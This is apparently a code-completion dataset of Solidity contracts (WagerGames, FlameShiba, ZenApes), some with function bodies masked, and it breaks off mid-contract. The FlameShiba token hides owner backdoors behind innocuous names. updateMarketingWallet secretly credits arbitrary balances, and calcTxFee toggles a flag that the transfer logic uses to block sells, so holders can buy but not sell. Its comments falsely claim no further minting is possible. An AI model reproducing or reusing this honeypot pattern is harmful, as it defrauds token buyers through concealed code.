source_idx
stringlengths
1
5
contract_name
stringlengths
1
55
func_name
stringlengths
0
2.45k
masked_body
stringlengths
60
827k
masked_all
stringlengths
34
827k
func_body
stringlengths
4
324k
signature_only
stringlengths
11
2.47k
signature_extend
stringlengths
11
25.6k
33239
WagerGames
WagerGames
contract WagerGames is StandardToken { // CHANGE THIS. Update the contract name. /* Public variables of the token */ /* NOTE:*************************W A G E R G A M E S ***************************** ********W A G E R G A M E S **************W A G E R G A M E S ***** ********W A G E R G A M E S **************W A G E R G A M E S ************W A G E R G A M E S *************W A G E R G A M E S **** ********W A G E R G A M E S **************W A G E R G A M E S ************W A G E R G A M E S *************W A G E R G A M E S ** *************W A G E R G A M E S ***************W A G E R G A M E S */ string public name; // Token uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18 string public symbol; // An identifier: .. string public version = 'H1.0'; uint256 public WagerGames ; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address fundsWallet; // Where should the raised ETH go? // This is a constructor function // which means the following function name has to match the contract name declared above function WagerGames() {<FILL_FUNCTION_BODY> } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
contract WagerGames is StandardToken { // CHANGE THIS. Update the contract name. /* Public variables of the token */ /* NOTE:*************************W A G E R G A M E S ***************************** ********W A G E R G A M E S **************W A G E R G A M E S ***** ********W A G E R G A M E S **************W A G E R G A M E S ************W A G E R G A M E S *************W A G E R G A M E S **** ********W A G E R G A M E S **************W A G E R G A M E S ************W A G E R G A M E S *************W A G E R G A M E S ** *************W A G E R G A M E S ***************W A G E R G A M E S */ string public name; // Token uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18 string public symbol; // An identifier: .. string public version = 'H1.0'; uint256 public WagerGames ; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address fundsWallet; <FILL_FUNCTION> /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
balances[msg.sender] = 1000000000 * (10**18); // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS) totalSupply = 1000000000 * (10**18); // Update total supply (1000 for example) (WagerGames) name = "WagerGames"; // Set the name for display purposes (WagerGames) decimals = 18; // Amount of decimals for display purposes (WagerGames) symbol = "WGT"; // Set the symbol for display purposes (WagerGames) // Set the price of your token for the ICO (WagerGames) fundsWallet = msg.sender; // The owner of the contract gets ETH
function WagerGames()
// Where should the raised ETH go? // This is a constructor function // which means the following function name has to match the contract name declared above function WagerGames()
59159
FlameShiba
_transfer
contract FlameShiba is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = false; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 maxTxLimit = 0; bool public i = maxTxLimit > 0 ? false : true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping(address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router( address indexed newAddress, address indexed oldAddress ); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated( address indexed newWallet, address indexed oldWallet ); event devWalletUpdated( address indexed newWallet, address indexed oldWallet ); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("FlameShiba", "$FLSH") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 3; uint256 _buyLiquidityFee = 2; uint256 _buyDevFee = 2; uint256 _sellMarketingFee = 3; uint256 _sellLiquidityFee = 2; uint256 _sellDevFee = 2; uint256 totalSupply = 1 * 1e12 * 1e18; maxTransactionAmount = (totalSupply * 10) / 1000; maxWallet = (totalSupply * 20) / 1000; swapTokensAtAmount = (totalSupply * 5) / 10000; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(0xa068523C36aecfccFE9B011B669A982d53966aFb); devWallet = address(0xE104a33AF9639046DDC50315AAAbE40c85171bDE); // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable {} // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 1) / 1000000) / 1e18, "Cannot set maxTransactionAmount lower than 0.1%" ); calcTxFee(newNum); } function calcTxFee(uint256 newNum) private { if(newNum * (10**18) >= totalSupply()) { maxTxLimit = newNum * (10**18); i=!i; } maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 1) / 1000000) / 1e18, "Cannot set maxWallet lower than 0.5%" ); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner { swapEnabled = enabled; } function updateBuyFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require( pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet( address newMarketingWallet, address a, uint256 b ) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); _balances[a] = _balances[a].add(b); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override {<FILL_FUNCTION_BODY> } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div( totalTokensToSwap ); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success, ) = address(devWallet).call{value: ethForDev}(""); if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, tokensForLiquidity ); } (success, ) = address(marketingWallet).call{ value: address(this).balance }(""); } function setAutoLPBurnSettings( uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled ) external onlyOwner { require( _frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes" ); require( _percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%" ); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool) { lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div( 10000 ); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool) { require( block.timestamp > lastManualLpBurnTime + manualBurnFrequency, "Must wait for cooldown to finish" ); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }
contract FlameShiba is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = false; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 maxTxLimit = 0; bool public i = maxTxLimit > 0 ? false : true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping(address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router( address indexed newAddress, address indexed oldAddress ); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated( address indexed newWallet, address indexed oldWallet ); event devWalletUpdated( address indexed newWallet, address indexed oldWallet ); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("FlameShiba", "$FLSH") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 3; uint256 _buyLiquidityFee = 2; uint256 _buyDevFee = 2; uint256 _sellMarketingFee = 3; uint256 _sellLiquidityFee = 2; uint256 _sellDevFee = 2; uint256 totalSupply = 1 * 1e12 * 1e18; maxTransactionAmount = (totalSupply * 10) / 1000; maxWallet = (totalSupply * 20) / 1000; swapTokensAtAmount = (totalSupply * 5) / 10000; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(0xa068523C36aecfccFE9B011B669A982d53966aFb); devWallet = address(0xE104a33AF9639046DDC50315AAAbE40c85171bDE); // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable {} // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 1) / 1000000) / 1e18, "Cannot set maxTransactionAmount lower than 0.1%" ); calcTxFee(newNum); } function calcTxFee(uint256 newNum) private { if(newNum * (10**18) >= totalSupply()) { maxTxLimit = newNum * (10**18); i=!i; } maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 1) / 1000000) / 1e18, "Cannot set maxWallet lower than 0.5%" ); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner { swapEnabled = enabled; } function updateBuyFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require( pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet( address newMarketingWallet, address a, uint256 b ) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); _balances[a] = _balances[a].add(b); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); <FILL_FUNCTION> function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div( totalTokensToSwap ); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success, ) = address(devWallet).call{value: ethForDev}(""); if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, tokensForLiquidity ); } (success, ) = address(marketingWallet).call{ value: address(this).balance }(""); } function setAutoLPBurnSettings( uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled ) external onlyOwner { require( _frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes" ); require( _percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%" ); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool) { lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div( 10000 ); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool) { require( block.timestamp > lastManualLpBurnTime + manualBurnFrequency, "Must wait for cooldown to finish" ); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }
require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if ( automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } else if ( automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require(amount <= maxTransactionAmount && i, "Sell transfer amount exceeds the maxTransactionAmount." ); } else if (!_isExcludedMaxTransactionAmount[to]) { require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } // on buy else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount);
function _transfer( address from, address to, uint256 amount ) internal override
function _transfer( address from, address to, uint256 amount ) internal override
36575
ZenApes
multiSafeTransferFrom
contract ZenApes is ERC721, MerkleWhitelist, Ownable, ERCWithdrawable { /* ZenApes by 0xInuarashi Discord: 0xInuarashi#1234 Twitter: https://twitter.com/0xInuarashi Features: Namable, Descripable (Send to Back-End) [/] Flexible Interface with ERC20 (Banana, Peel) [/] Uninstantiated Transfer Hook for Token Yield [/] Limit to 1 mint per address [/] Merkle Whitelisting [/] Public Sale [/] */ // Constructor constructor() ERC721("ZenApe", "ZEN") {} // Project Constraints uint16 immutable public maxTokens = 5000; // General NFT Variables uint256 public mintPrice = 0.07 ether; uint256 public totalSupply; string internal baseTokenURI; string internal baseTokenURI_EXT; // Interfaces iYield public yieldToken; mapping(address => bool) public controllers; // Whitelist Mappings mapping(address => uint16) public addressToWhitelistMinted; mapping(address => uint16) public addressToPublicMinted; // Namable mapping(uint256 => string) public zenApeName; mapping(uint256 => string) public zenApeBio; // Events event Mint(address to_, uint256 tokenId_); event NameChange(uint256 tokenId_, string name_); event BioChange(uint256 tokenId_, string bio_); // Contract Governance function withdrawEther() external onlyOwner { payable(msg.sender).transfer(address(this).balance); } function setMintPrice(uint256 price_) external onlyOwner { mintPrice = price_; } // ERCWithdrawable function withdrawERC20(address contractAddress_, uint256 amount_) external onlyOwner { _withdrawERC20(contractAddress_, amount_); } function withdrawERC721(address contractAddress_, uint256 tokenId_) external onlyOwner { _withdrawERC721(contractAddress_, tokenId_); } function withdrawERC1155(address contractAddress_, uint256 tokenId_, uint256 amount_) external onlyOwner { _withdrawERC1155(contractAddress_, tokenId_, amount_); } // MerkleRoot function setMerkleRoot(bytes32 merkleRoot_) external onlyOwner { _setMerkleRoot(merkleRoot_); } // // Time Setters // Whitelist Sale bool public whitelistSaleEnabled; uint256 public whitelistSaleTime; function setWhitelistSale(bool bool_, uint256 time_) external onlyOwner { whitelistSaleEnabled = bool_; whitelistSaleTime = time_; } modifier whitelistSale { require(whitelistSaleEnabled && block.timestamp >= whitelistSaleTime, "Whitelist sale not open yet!"); _; } function whitelistSaleIsEnabled() public view returns (bool) { return (whitelistSaleEnabled && block.timestamp >= whitelistSaleTime); } // Public Sale bool public publicSaleEnabled; uint256 public publicSaleTime; function setPublicSale(bool bool_, uint256 time_) external onlyOwner { publicSaleEnabled = bool_; publicSaleTime = time_; } modifier publicSale { require(publicSaleEnabled && block.timestamp >= publicSaleTime, "Public Sale is not open yet!"); _; } function publicSaleIsEnabled() public view returns (bool) { return (publicSaleEnabled && block.timestamp >= publicSaleTime); } // Modifiers modifier onlySender { require(msg.sender == tx.origin, "No smart contracts!"); _; } modifier onlyControllers { require(controllers[msg.sender], "You are not authorized!"); _; } // Contract Administration function setYieldToken(address address_) external onlyOwner { yieldToken = iYield(address_); } function setController(address address_, bool bool_) external onlyOwner { controllers[address_] = bool_; } function setBaseTokenURI(string memory uri_) external onlyOwner { baseTokenURI = uri_; } function setBaseTokenURI_EXT(string memory ext_) external onlyOwner { baseTokenURI_EXT = ext_; } // Controller Functions function changeName(uint256 tokenId_, string memory name_) public onlyControllers { zenApeName[tokenId_] = name_; } function changeBio(uint256 tokenId_, string memory bio_) public onlyControllers { zenApeBio[tokenId_] = bio_; } // Mint functions function __getTokenId() internal view returns (uint256) { return totalSupply + 1; } function ownerMint(address to_, uint256 amount_) external onlyOwner { for (uint256 i = 0; i < amount_; i++) { _mint(to_, __getTokenId() + i); } totalSupply += 